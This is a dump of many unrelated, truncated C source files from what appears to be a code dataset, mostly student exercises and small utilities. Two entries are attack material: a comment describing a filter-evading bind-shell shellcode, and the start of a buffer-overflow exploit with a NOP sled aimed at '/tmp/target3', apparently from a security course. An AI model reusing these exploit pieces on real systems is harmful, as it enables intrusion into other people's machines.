language
large_stringclasses
1 value
text
stringlengths
9
2.95M
C
/** * @file tests.c * * @author neil * @date 4/09/16 * * @brief Implementation of the functions directly related to testing. */ #include <stdlib.h> #include <stdio.h> #include "units.h" #include "types.h" /** * @brief Adds a test to the test framework. * * @param frame The framework that the test is being a...
C
#define _CRT_SECURE_NO_WARNINGS #include <stdio.h> #include <stdlib.h> int action1(int x) { int y = x; return(y); } int action2(int x) { int y = 2 * x - 1; return y; } int action3(int x) { int y = 3 * x - 11; return y; } int main() { int x; scanf("%d", &x); if (x < 1) { int z = action1(x); printf("%d\n...
C
#include <Windows.h> #include <stdlib.h> #include <stdio.h> #include <string.h> LONG crash_handler(EXCEPTION_POINTERS *exception) { unsigned char* backtrace[128]; USHORT captured ; unsigned char* baseAddr = (PVOID) GetModuleHandleA(NULL); captured = CaptureStackBackTrace(0, 128, backtrace, NULL); FILE* f = ...
C
// // Created by 何平 on 2019/11/8. // #include "apue.h" #include "fcntl.h" int set_flg (int fd, int flags) { int val; //fetch back original flags if ((val = fcntl(fd,F_GETFL,0))<0) { err_msg("fcntl F_GETFL error"); return -1; } //add your additional new flag val |=flags; ...
C
#include <stdio.h> #include <stdlib.h> struct Node { int coeff; int order; struct Node *next; }; typedef struct Node *Term; typedef Term Poly; Poly createPoly() { Poly p = (Poly)malloc(sizeof(struct Node)); p->coeff = 0; p->order = 0; p->next = NULL; return p; } void destroyPoly(Poly...
C
/* * Author: Alex Hiller * Year: 2019 * * Program Description: * <++> * */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include <math.h> #define LEN 6 int main (int argc, char *argv[]) { char word[LEN]; printf("Enter a 3 letter word > "); scanf("%s", word); printf("You ent...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* operation.c :+: :+: :+: ...
C
#include <stdio.h> #include <stdlib.h> int calc(char str[],int l){ char sogl[] = "BCDFGHJKLMNPQRSTVWXZbcdfghjklmnpqrstvwxz"; int result=0; if(l==1){ return(1); } if (strchr(sogl,str[l-1])>0){ result++; } result +=calc(str,l-1); return result; } int main() { char sogl[] = "BCDFGHJKLMNPQRSTVWXZbcdfghjk...
C
#include<stdio.h> #include<conio.h> void main() { int a[5],b[5],c[5]; int i; printf("Enter elements of Array 'A' & 'B'"); for(i=0;i<5;i++) { scanf("%d%d",&a[i],&b[i]); c[i]=b[i]+a[i]; } printf("Sum of Corresponding Elements of Array ="); for(i=0;i<5;i++) printf("%d ",c[i]); }
C
#include "CHMinimax.h" #include <stdlib.h> #include "CHGame.h" /// private functions declarations /// /** * the function choose between position values i and j the following way: * check who has the lowest column value. if a position with lower value is found, return it (i or j). * otherwise, check who has the lo...
C
#ifndef ___FZ_TRACE_H #define ___FZ_TRACE_H #include "fz_common.h" #include <stdio.h> #include <string.h> #include <stdarg.h> #define USE_FZ_TRACE namespace { enum LOG_LEVEL{ FZ_LOG_DEFAULT = 1, FZ_LOG_INFO = 2, FZ_LOG_ERROR = 4, FZ_LOG_DEBUG = 8, }; FILE* out_buffer = stdout; const int debug_level = ...
C
/////////////////////////////////////////////////////////////////////////////// // // IMPORTANT NOTICE // // The following open source license statement does not apply to any // entity in the Exception List published by FMSoft. // // For more information, please visit: // // https://www.fmsoft....
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "mylib.h" #include "rbt.h" #define IS_BLACK(x) ((NULL == (x)) || (BLACK == (x)->colour)) #define IS_RED(x) ((NULL != (x)) && (RED == (x)->colour)) struct rbt_node { char *key; rbt_colour colour; rbt left; rbt right; }; static rbt ri...
C
/** * This file is part of the FabricDB library * * Author: Mark Wardle <mark@themarkside.com> * Created: March 23, 2015 * Updated: March 27, 2015 */ #ifndef _FABRIC_VERTEXSTORE_C__ #define _FABRIC_VERTEXSTORE_C__ #include "Internal.h" /** * The Vertex Store is the component of the graph that has the responsi...
C
/* * Exercise 4-1. Write the function strindex(s,t) which returns the * position of the rightmost occurrence of t in s, or -1 if there is none. */ #include <stdio.h> #include <string.h> #define MAXLINE 1000 /* maximum input line length */ int get_line(char s[], int lim); int strindex(char source[], char searchfo...
C
/* this source code is for counting the birthday month */ #include <stdio.h> #define NUM 120 int main() { int i, n, worker_birthday_month[NUM], x, y; printf("please input the number of worker: "); scanf("%d", &n); printf("please input the %d worker's birthday month:", n); for(i = 0; i < n...
C
// // Miller-Tucker-Zemlin compact formulation of TSP // #include "formulation_MTZ.h" int upos(int i, instance *inst){ if(i < 0 || i >= inst->nnodes){ printf(BOLDRED"[ERROR] xpos_undirected(): unexpected i = %d\n" RESET, i); exit(1); } int upos = inst->nnodes * inst->nnodes + i; return...
C
/* * File: master.c * Author: baota * * Created on November 2, 2017, 2:11 PM */ #include <xc.h> #define _XTAL_FREQ 8000000 #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include "config.h" #include <string.h> unsigned char temp; void master_wait(){ while ((SSPSTAT & 0x04) || (SSPCON2 & 0x1F...
C
#include <stdio.h> int power(int n) { if ((n & (n-1)) == 0) { return 1; } return (0); } int main() { printf("%s \n", power(2) ? "power of 2" : "not power of 2"); printf("%s \n", power(3) ? "power of 2" : "not power of 2"); }
C
#include "lists.h" /** * get_nodeint_at_index - returns the nth node of a listint_t linked list * @head: Pointer to head * @index: Index of the node * Return: The nth node */ listint_t *get_nodeint_at_index(listint_t *head, unsigned int index) { unsigned int i; for (i = 0; i < index && head != NULL; i++) { ...
C
// This is a slightly contrived example to provide an intro // to programming for AVR/Arduino-C using an online IDE. // The comments will note when things are a bit odd for // this particular use case #include <stdio.h> // load in some standard helper functions // Your task (in 4 parts) is to design a function to com...
C
#include <stdio.h> int main() { int test_case; long long int n,b,m; scanf("%d",&test_case); while(test_case--){ scanf("%lld%lld%lld",&n,&b,&m); long long int time=0,x; while(n>0){ if(n%2==0){ x=n/2; } else{ x=(n+1)/2; } ...
C
#include <stdio.h> int main() { int a, x[6], sum = 0; printf("Enter 6 numbers: "); for(a = 0; a < 6; ++a) { scanf("%d", x+a); sum += *(x+a); } printf("Sum = %d", sum); return 0; }
C
struct patient { char a[100]; int age; }pat[110],pat1[110]; void bubble(int n) { int i,j; struct patient temp; for(i=1;i<n;i++) { for(j=0;j<n-i;j++) { if(pat1[j].age<pat1[j+1].age) { temp=pat1[j]; pat1[j]=pat1[j+1]; pat1[j+1]=temp; } } } } void main() { int...
C
#include "lists.h" /** * dlistint_len - returns the number of elements in a linked * dlistint_t list. * @h: head of the dlistint_t list. * Return: the number of elements in a linked * dlistint_t list. */ size_t dlistint_len(const dlistint_t *h) { size_t count = 0; while (h) { count++; h = h->next; } re...
C
/** * @file * @brief collector quest item setter */ #include <std.h> #define LOW "/daemon/quests_low" #define HIGH "/daemon/quests_high" #define MID "/daemon/quests_mid" inherit DAEMON; void create(){ ::create(); } void isMon(object ob) { if(!objectp(ob)) return; if(ob->query("alternative world")) r...
C
// 测试点5运行超时 #include<stdio.h> struct list { int address; int data; int next; }l[100000]; typedef struct list list; int main() { int a,n,k,i,j; scanf("%d%d%d",&a,&n,&k); for(i = 0; i < n; i++){ scanf("%d%d%d",&l[i].address,&l[i].data,&l[i].next); } for(i = 0; i < n; i++){ ...
C
#include <pthread.h> #include <stdio.h> #include <stdlib.h> pthread_mutex_t lock = PTHREAD_MUTEX_INITIALIZER; void unlock( void * arg ) { pthread_mutex_unlock( &lock ); } void * function( void * arg ) { printf("begin\n"); while( 1 ) { pthread_mutex_lock( &lock ); pthread_cleanup_push( &unlo...
C
#include<stdio.h> int main() { int d,e,f; scanf("%d %d %d",&a,&b,&c) if(a>b && a>c) { printf(" d is greater"); } else if(b>a && b>c) { printf("e is greater"); } else { printf("f is greater"); } return 0; }
C
#include <stdio.h> #include "stack.h" void Stack_init(Stack *s) { s->top = -1; } void Stack_push(Stack *s, int n) { if(s->top == STACK_MAX - 1) { printf("Stack overflow on pushing %d", n); return; } s->top++; s->data[s->top] = n; } int Stack_pop(Stack *s) { if(s->top == -1) ...
C
#include <stdio.h> // 2020.12.28 18:29 // // for ȿ index ϸ . // ex) 1 2(+5) 8 9 10 int main(void) { int n = 0, m = 0, temp = 0; int num = 0; scanf("%d", &n); for (int i = 1; m == 0 && i <= n; i++) { num = i; while (num) { temp = temp + num%10; num = num/10; } if (n == i+temp) m = i;...
C
/* ID: laconis1 PROG: ride LANG: C TASK: test */ #include <stdio.h> int main() { int c_r,g_r; int product = 1; char in[100]; char *p; FILE *fin = fopen ("ride.in", "r"); FILE *fout = fopen ("ride.out", "w"); fscanf (fin, "%s", in); /* the two input integers */ for(p = &in; *p != '\0'; p++ ) { pr...
C
#include "stack.h" void StackInit(Stack *stack) { ListInit(stack); } void StackPush(Stack *stack, void *data, int size) { ListAddNode(stack, 0, data, size); } void StackPop(Stack *stack) { ListDeleteNode(stack, 0); } void *StackPeek(Stack *stack) { return ListGetNode(stack, 0); } int StackSize(Stack *stack) {...
C
#include<stdio.h> int getMax(int n,int a[]) { int Max=0; for(int i=0; i<n; i++)if(a[i]>Max)Max=a[i]; return Max; } int main() { int n=8,a[]= {22,55,45,36,46,85,23,34}; printf("%d\n",getMax(n,a)); return 0; }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include "ArrayEmployee.h" #include "utn.h" #define LONG_NOMBRE 51 #define CANTIDAD_EMPLOYEE 1000 int main(void) { setbuf(stdout,NULL); int indiceVacio; int idModificar; int indice; int opcion; int respuesta; Employee arrayEmployee[CANTIDAD_EMPLOYE...
C
/* * Jan Tammen, os4 * BSYS, Versuch 5 * * Aufgabe 5.3.1.3 * * multithreaded Socketserver * * http://cboard.cprogramming.com/archive/index.php/t-66189.html */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <signal....
C
/* main.c - main */ #include <xinu.h> void sendData(uint32 data){ uint32 remip = 0xC0A80066; /* Remote IP address or zero */ uint16 remport = 5555; /* Remote UDP protocol port */ uint16 locport = 5555; /* Local UDP protocol port */ int slot = 0; slot = udp_register(0xC0A80067, 8080, 8080); if (slot ==...
C
#include <stdio.h> #include <stdlib.h> #include "list.h" #include <time.h> #include <sys/times.h> #include <inttypes.h> #include <unistd.h> // times void timeChecker(clock_t startTime, clock_t *currReal, struct tms *currTimes){ clock_t prevReal = *currReal; clock_t prevUser = currTimes->tms_utime; clock_t prevSyste...
C
/* ** EPITECH PROJECT, 2020 ** remove var ** File description: ** used in unsetenv */ #include "minishell.h" node_t *remove_node_at_middle(node_t *begin_node, char *variable) { node_t *tmp = begin_node; node_t *save_tmp = tmp; if (begin_node == NULL) return (NULL); while (my_strcmp(variable, ...
C
/** * @file symbolTable.h * @brief **/ #ifndef _SYMBOL_TABLE_H_ #define _SYMBOL_TABLE_H_ /** * @struct _refList * @brief Linked list that keeps the details about one specific symbol. **/ typedef struct _refList { struct _refList * next; char * fileName; int flags; /**< Flags with some extra information abou...
C
#include "mpi.h" /*MPI head file*/ #include <stdio.h> #define RELA int main( int argc, char** argv ) { int myrank,size; int i; struct Partstruct { int class; double d[6]; char b[7]; }; struct Partstruct particle; ...
C
#include<stdio.h> int main() { int c,s,a,b; printf("\n____________menue____________\n"); printf("\n 1. Find the square and cube of given number "); printf("\n 2. Find given year is leap year or not "); printf("\n\nEnter the choice = "); scanf("%d",&c); if(c==1) //logic for square nd cube ...
C
#include "worksheets.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX_BUF_LINE (1 << 11) #define VAL_PER_LINE (1 << 10) #define MAX_LINES_COUNT (1 << 10) void write_data(FILE* stream, struct cell *value, const char *separator); // We're creating arrays so we need fixed sizes // Unless we in...
C
/* reduce.c * * reduce an image's colormap usage to a set number of colors. this also * translates a true color image to a TLA-style image of `n' colors. * * this function cannot reduce to any number of colors larger than 32768. * * Based on the file lib/colorquant.c in the Utah Raster Toolkit version 3.0 * ...
C
#include <stdio.h> #include <stdlib.h> #include "ex09.h" void obtem_Notas(int nAluno) { printf("=====================================================\n"); printf("Por favor introduza o número do aluno: "); scanf("%d", &array[nAluno].numeroAluno); printf("Por favor introduza as notas do aluno: \n"); ...
C
#include<stdio.h> #include<conio.h> #define MaxN 90 void main() { float arr_x[MaxN+1], arr_y[MaxN+1], numerator, denominator, x, y=0; int i, j, n; clrscr(); printf("Enter the value of n: \n"); scanf("%d", &n); printf("Enter the values of x and y: \n"); for(i=0; i<=n; i++) scanf("%f%f", &arr_x[i], &arr_y[i]);...
C
/* * lo1.h * * Created on: Oct 20, 2018 * Author: llp2 */ #ifndef LO1_H_ #define LO1_H_ #include <stdbool.h> #include <string.h> bool should_count_chars(int argc, char* argv[]){ if(argc == 2){ if(strcmp(argv[1], "-c") == 0){ return true; } return false; } return false; } bool is_space(char c...
C
/* 搜索旋转数组 题目:搜索旋转数组。给定一个排序后的数组,包含n个整数,但这个数组已被旋转过很多次了,次数不详。请编写代码 找出数组中的某个元素,假设数组元素原先是按升序排列的。若有多个相同元素,返回索引值最小的一个。 示例1: 输入: arr = [15, 16, 19, 20, 25, 1, 3, 4, 5, 7, 10, 14], target = 5 输出: 8(元素5在该数组中的索引) 示例2: 输入:arr = [15, 16, 19, 20, 25, 1, 3, 4, 5, 7, 10, 14], target = 11 输出:-1 (没有找到) 提示: ...
C
#include <stdio.h> int main(void) { int arr[5] = {5, 3, 4, 1, 2}; int tmp = 0; // buble sort for ( int j = 0; j < 5; j++) { for (int i = 0; i < 5 - j - 1; i++) { if (arr[i] > arr[i - 1]) { tmp = arr[i]; arr[i] = arr[i - 1]; arr[i - 1] = tmp; } } } // return the result for (int i = 0;...
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* gap_del_interface.c :+: :+: :+: ...
C
#include <stdio.h> #include <ctype.h> // Ȯ ִ isspace Լ int read_line_with_compression(char compressed[], int limit); int main() { char line[80]; while (1) { printf("$ "); int length = read_line_with_compression(line, 80); printf("%s:%d\n", line, length); } return 0; } int read_lin...
C
#include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <limits.h> #include "page_tool.h" AddrPair *addr_data; PageInfo *pages_data; const char *pid_str; //function reads an 64-bit number from file uint64_t read_u64(int fd, unsigned long offset) { unsigned lo...
C
/* ********************************************************** Code is used in gRbase Functions for set operations, most notably maxset and minset * maxset: Finds the maximal elements of a set, i.e. elements contained in other elements are discarded are marked with a 0, elements not contained in ...
C
#include<stdio.h> #include<stdlib.h> void merge(int *,int,int,int); void merge_sort(int*,int,int); int main(){ int T; scanf("%d",&T); while(T--){ int n; scanf("%d",&n); int arr[n]; int i; int count_even=0,count_odd=0; for(i=0;i<n;i++){ scanf("%d",&arr[i]); if(arr[i]%2==0){ count_even++; } ...
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <ctype.h> #include <locale.h> #define MAX_BUFSIZE 1024 void wi_fi_setting(void); void main(void) { int select = 0; _wsetlocale(LC_ALL, L"korean"); _wsystem(L"title 노트북 Wi-fi Hotspot화 프로그램 - 제작.By osm1892"); do{ _putws(L"1.....와이파이 설정"); ...
C
// as 62-Unique-Paths int uniquePathsWithObstacles(int** obstacleGrid, int obstacleGridSize, int* obstacleGridColSize){ int m = obstacleGridSize; int n = obstacleGridColSize[0]; int flag; int dp[m*n]; flag = 0; for (int i = 0; i < n; i++) { if (flag == 0 && obstacleGrid[0][i] == 0) { ...
C
/* * Anthony Evans * anthonyevans2000@hotmail.com * Header file for sudoku-creator.c */ typedef struct value_m { struct value *next; int available; } value; typedef struct value_head_m { value *first; int length; } value_head; typedef struct sudoku_board_m { int board[9][9]; //Points to a linked list of ...
C
#include "fs/fs.h" #include "kernel.h" #include "lib/hashmap.h" #include "lib/tree.h" #include <errno.h> #include <string.h> vfs_node_t* vfs_root = NULL; tree_t* vfs_tree = NULL; hashmap_t* vfs_type_mounts = NULL; dirent_t tmp_dir; static char* get_last_name(char* path) { int depth = 0; for (int i = 0; i < s...
C
//labyrinthos.h //ͷļ #include<stdio.h> #include<stdlib.h> #include<string.h> #include<windows.h> //궨 #ifndef TURE #define TRUE 1 #define FALSE 0 #define SUCCESS 1 #define ERROR 0 #define OVERFLOW -1 #define STACK_INIT_SIZE 100 #define STACK_INCREMENT 10 #define MAX_MAZE_MAP_WIDTH 100 #define MAX_MAZE_MAP_HEIGHT 100 #...
C
/* * Bindshell puerto 5074 (TOUPPER EVASION) * 226 bytes * Bindshell original: Matias Sedalo (92 bytes) * * La binshell esta codificada usando 2 bytes para * representar 1 byte original de la siguiente forma: * byte original: 0xAB * 0x41 + 0xA = 0x4B; 0x41 + 0xB = 0x4C * byte codificado: [0x4B 0x4C] ...
C
#include "system.h" #include <stdio.h> #include <sys/alt_alarm.h> #include <sys/time.h> #include <sys/alt_irq.h> #include <altera_avalon_pio_regs.h> #include "main.h" int main(void) { SYS_Init(); while(1) { } return 0; } void SYS_Init(void) { Timer_Init(); SEG7_Clear(); } void Timer_In...
C
#include <string.h> #include <stdio.h> #include "crypto_hash.h" //Constant const unsigned int CONSTANT[20] = { 0x14f1c272,0x3279c419,0x4b8ea41d,0x0cc80863, 0xd28062e1,0xe71d3dda,0xe3c4d158,0xa7f067ac, 0x94935056,0x8ee5c63d,0xf5a0cec3,0xd33da5a7, 0x7de892ac,0xe8fd9b12,0xfb625a84,0xf15a5323, 0xd93d3995,0x9...
C
#include <stdio.h> #include <stdlib.h> #include <math.h> #include <ctype.h> #include <string.h> #define MAX 666666 // struct E { int no; int co[2]; int wg; } edge[MAX], sw; typedef struct P { int e; struct P* next; } po; struct PC { int count; po *next; } p[MAX]; // void bubbS(void); // vo...
C
#include "GenericHashTable.h" int main(){ Table* table; table=createTable(5,INT_TYPE,3); int i=0; int arr[40]; arr[0]=5; arr[1]=6; arr[2]=7; arr[3]=8; arr[4]=9; arr[5]=10; arr[6]=15; arr[7]=20; arr[8]=11; arr[9]=16; arr[10]=21; arr[11]=26; arr[12]=25; arr[13]=30; arr[14]=14; arr[15]=19; a...
C
Random Testing Analysis I used a similar approach for both of my random testers, which performed tests on both the Adventurer Card and the Smithy Card. My initial unit tests already functioned by using multiple embedded loops that analyzed variations of different game state values such as current player index and h...
C
#define _CRT_SECURE_NO_WARNINGS 1 #define _CRT_NONSTDC_NO_DEPRECATE 1 #include "stdio.h" #include "stdlib.h" #include "string.h" #include "ctype.h" /** * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode *next; * }; */ struct ListNode { int val; struct ListNode...
C
#include <stdio.h> /* In this program, we want to calculate 1+2+3+...+10. * This program uses a for loop to do the calculation. * For loops will be discussed in detail in a future class. */ int main() { int i,sum; sum = 0; // Repeat a loop 10 times, adding the loop index each time for(i=0;i<...
C
#include<stdio.h> int main(int argc, char const *argv[]) { int x = 20; printf("Welcome the switch case...."); switch (x) { case 10 : printf("\n the value x=10");break; case 20: printf("\nThe value of x=20");break; case 30: printf("\nThe value of x=30");break; ...
C
#include<stdio.h> #include<stdlib.h> #include<netinet/in.h> #include<arpa/inet.h> #include<string.h> #include<sys/socket.h> #include<unistd.h> int main(int argc, char *argv[]) { int clientSock; char message[1000]; struct sockaddr_in servAddr; socklen_t addrSize; clientSock = socket(AF_INET, SOCK_STREAM, 0); ...
C
//WAP to sort array using fn using bubble sort #include<stdio.h> #include<conio.h> void main() { int x[10] , i ; void bubble(int * , int ); clrscr(); printf("\n enter array x :"); for ( i=0 ; i<10 ; i++ ) scanf( "%d" ,&x[i] ); bubble( x , 10 ); printf("\n After S...
C
#include "lists.h" /** * * * * */ int is_palindrome(listint_t **head) { listint_t * corrent; size_t size, j, flag = 1; int *palindro_array; if (*head == NULL) return (1); corrent = *head; for (size = 0; corrent; size++) corrent = corrent->next; palindro_array = malloc(sizeof(int) * size); if (!pali...
C
/* Taken from https://github.com/bmateusz/tst/blob/master/test.h * * ORIGINAL LICENSE: * * MIT License * * Copyright (c) 2017 Börcsök Máté * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the S...
C
/* Copyright 2014, Kenneth MacKay. Licensed under the BSD 2-clause license. */ /* Copyright 2018, Firmware Modules Inc. Licensed under the BSD 2-clause license. */ #include "uecc.h" #include <stdio.h> #include <string.h> #include "sys/clock.h" #include "dev/watchdog.h" /* Log configuration */ #include "sys/log.h" #...
C
#include <stdio.h> #include<math.h> int main() { char x,C,T,R; printf("Enter Value of x ="); scanf("%c",&x); float r,l,w,h,b,a,pi; pi=3.14; switch(x) { case'C': //C=Circle printf("Enter Radius r="); scanf("%f",&r); a=pi*r*r; printf("%f",a); ...
C
#include <stdio.h> #include <string.h> void agregar();; void visualizar(); void eliminar(); struct calificaciones{ float matematicas; float español; float ingles; float programacion; }cal[50]; struct medico{ char tipo_de_sangre[5]; char alegria[50]; char enfermedad[100]; }medico[50]; struct alumno{ ...
C
/* * Ventas.c * * Created on: 21 sep. 2020 * Author: user */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <limits.h> #include "Ventas.h" #include "Informes.h" #include "LinkedList.h" #include "utn.h" #include "Controller.h" #define LONG_NOMBRE 4096 #define CABA 1 #define ZONA_SUR 2 #d...
C
#include <stdio.h> #include <stdlib.h> char* readLine(void); int main() { char* string = readLine(); printf("%s\n", string); return 0; } char* readLine(void) { char * line = malloc(100), * linep = line; size_t lenmax = 100, len = lenmax; int c; if(line == NULL) return NULL; ...
C
inherit "/obj/monster.c"; #include "../definitions.h" int my_random_move_time; void set_random_move_time(int arg) { if(!arg || arg < 0) return; my_random_move_time = arg; } void reset(int arg) { ::reset(arg); /* blank out our variables */ my_random_move_time = 0; enable_commands(); remove_call_out("make_ran...
C
/* * Tests for the fat_fs_tree data sctructure * */ #include "fat_fs_tree.h" #include <assert.h> #include <check.h> #include <errno.h> #include <stdio.h> #include <stdlib.h> /* Auxiliary functions */ static fat_tree insert_many_files(fat_tree tree, int n, char **filenames) { int original_size = fat_tree_size(...
C
#include <signal.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/time.h> #include <sys/resource.h> #include <errno.h> #define MS 1000000 #define abs(x) ( x<0 ? -(x) : x) volatile pid_t pid1; volatile sig_atomic_t keepRunning = 1; void intHandler(int sig) { keepRunning = 0; // if(p...
C
#include<stdio.h> struct record{ char data; struct record *next; }; void create(struct record * ); void delete(struct record * ,int ); void insert(struct record * ,int ); int main(){ int k,s; char input; struct record *node,*head,*p; while(1){ no...
C
// p_tick.c : thinker list handling, game tick #include "doomstat.h" #include "g_game.h" #include "p_local.h" #include "z_zone.h" int leveltime; // // THINKERS // All thinkers should be allocated by Z_Malloc // so they can be operated on uniformly. // The actual structures will vary in size, // but the first e...
C
#include <stdio.h> #include <unistd.h> void f(int n, int m) { printf("Number1: %d\n",n); printf("Number2: %d\n",m); } int main (int argc, char *argv[]) { int i= 0; int j= 0; printf("f() is at %p\n", f); while(1) { f(i++,j++); sleep(1); } }
C
#include <stdio.h> #include <stdlib.h> int ft_atoi(char *str); int main(void) { printf("%d\n", ft_atoi(" ---+--+1234 567")); //printf("%d", atoi("-1234 567")); return (0); }
C
/* * @Date: 2020-04-19 12:53:56 * @LastEditors: litelte * @LastEditTime: 2020-04-19 13:02:02 * @FilePath: /CProject/zju_c/week2/2.c * @Description: 变量赋值与初始化 */ #include <stdio.h> int main(int argc, char const *argv[]) { // int i; // i不赋初值的话,在部分编译器中会出现乱码,或者长串的数字 int i = 0; int j; j = i + 10; ...
C
#include "rng.h" #include "delay.h" //ALIENTEK STM32F407开发板 //RNG(随机数发生器)驱动代码 //正点原子@ALIENTEK //技术论坛:www.openedv.com //All rights reserved ////////////////////////////////////////////////////////////////////////////////// //初始化RNG //返回值:0,成功;1,失败 u8 RNG_Init(void) { u16 retry=0; RCC->A...
C
/* Esto es un comentario: lo voy a usar para escribir información que me importa o importante del programa que estoy haciendo. Por ejemplo: Este programa imprime la típica frase “hola mundo a la pantalla” Creado el 06/08/2018 por Maria Villalobos Plascencia */ #include<stdio.h> int main() { printf("Hola Maria\n");...
C
#include <cs50.h> #include <stdio.h> // prototype void charprint(char c, int a); // prompt user int main(void) { char test = 'a'; charprint(test, 10); } void charprint(char c, int a) { for (int i = 0; i < a; i++) { printf("%c", c); } printf("\n"); }
C
/* Example of how to set and retrieve program arguments. */ #include <Ecore.h> #include <stdlib.h> #include <stdio.h> Eina_Bool timer_once(void *data) { int argc; char **argv; int i; ecore_app_args_get(&argc, &argv); for (i = 0; i < argc; i++) printf("ARG %i: %s\n", i, argv[i]); ecore_main_loop_quit();...
C
#include <stdio.h> int strcmp (char *first, char *second); int strcmp(char *first, char *second){ while(*first == *second){ ++first; ++second; } return (*first - *second); } int main() { //code char first[7] = "Grapes"; char second[10] = "Red Apple"; int result = strcmp(first,second); ...
C
#include <sort_common.h> int partition(int a[], int lb, int ub); void quick_sort_helper(int a[], int lb, int ub); void quick_sort(int a[], int n) { quick_sort_helper(a, 0, n-1); } void quick_sort_helper(int a[], int lb, int ub) { int p; if (lb >= ub) return; p = partition(a, lb, ub); quick_sort_helper(a, lb...
C
#include <GL/glew.h> #include <GLUT/glut.h> #include <stdlib.h> #include <stdio.h> #include "board.h" #include "geometry.h" GLuint boardDim = 5; GLdouble cameraRadius = 3.0; GLdouble cameraHeight = 7.0; GLfloat cellSpacing = 0.05; GLubyte none_color[] = { 100, 100, 100 }; GLubyte x_color[] = { 0, 100, 0 }; GLubyte ...
C
#ifndef LEPTJSON_H__ #define LEPTJSON_H__ #include <stddef.h> /* size_t */ typedef enum {LEPT_NULL, LEPT_FALSE, LEPT_TRUE, LEPT_NUMBER, LEPT_STRING, LEPT_ARRAY, LEPT_OBJECT} lept_type; typedef struct lept_value lept_value; struct lept_value { union { struct { lept_value* e; size_t size; }a; struct { char * s; ...
C
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <sys/ipc.h> #include <sys/shm.h> #include <unistd.h> #define FOO 4096 int main () { int shmId; char *shmPtr; if ((shmId = shmget (IPC_PRIVATE, FOO, IPC_CREAT|S_IRUSR|S_IWUSR)) < 0) { perror ("i can't get no..\...
C
#include <stdio.h> #include <stdlib.h> int biggestNum(int, int,int);//function prototype int main() { int num1,num2,num3; //declare the variables printf("Enter the first number: "); scanf("%d",&num1);//get input from user for num1 printf("Enter the second number: "); scanf("%d",&num2);//get input f...
C
#include "al422b.h" void AL422B_delay(uint t) { while(t--); } /*---------FIFO_Ͷʱ---------*/ void al422b_SendReadClock() { AL422B_Control_Interface |= AL422B_RCK_MASK; AL422B_Control_Interface &= ~AL422B_RCK_MASK; } /*---------FIFO_Ͷʱ---------*/ /*---------ȡ----------------*/ uchar al422b_ReadData(void) { //ȡ al4...
C
/* ** sock.c for zappy in /home/kerma/Projets/Epitech/PSU/zappy/lib/sock ** ** Made by kerma ** Login <kerma@epitech.net> ** ** Started on Mon Jun 26 18:57:37 2017 kerma ** Last update Sun Jul 2 06:07:15 2017 kerma */ #include "zappy.h" static int close_leave(int fd, char *err) { close(fd); return (puterr(err...
C
/* ============================================================================ Name : clase5Ejercicio.c Author : Version : Copyright : Your copyright notice Description : Hello World in C, Ansi-style ============================================================================ */ #include <s...
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include "shellcode.h" #define TARGET "/tmp/target3" int main(void) { char *args[3]; char *env[1]; char i; args[0] = TARGET; args[1] = malloc(138); memset(args[1], 0x90, 137); // null terminator *(unsigned int *)(args[1]+...
C
/* Develop a program based on the for-loops to print the following patterns. All asterisks (*) are printed by a single printf statement of the form printf(“*”). * ** *** **** ***** ****** ******* ******** ********* ********** ********** ********* ******** ******* ****** ***** **** *** ** * ********** ********* ******...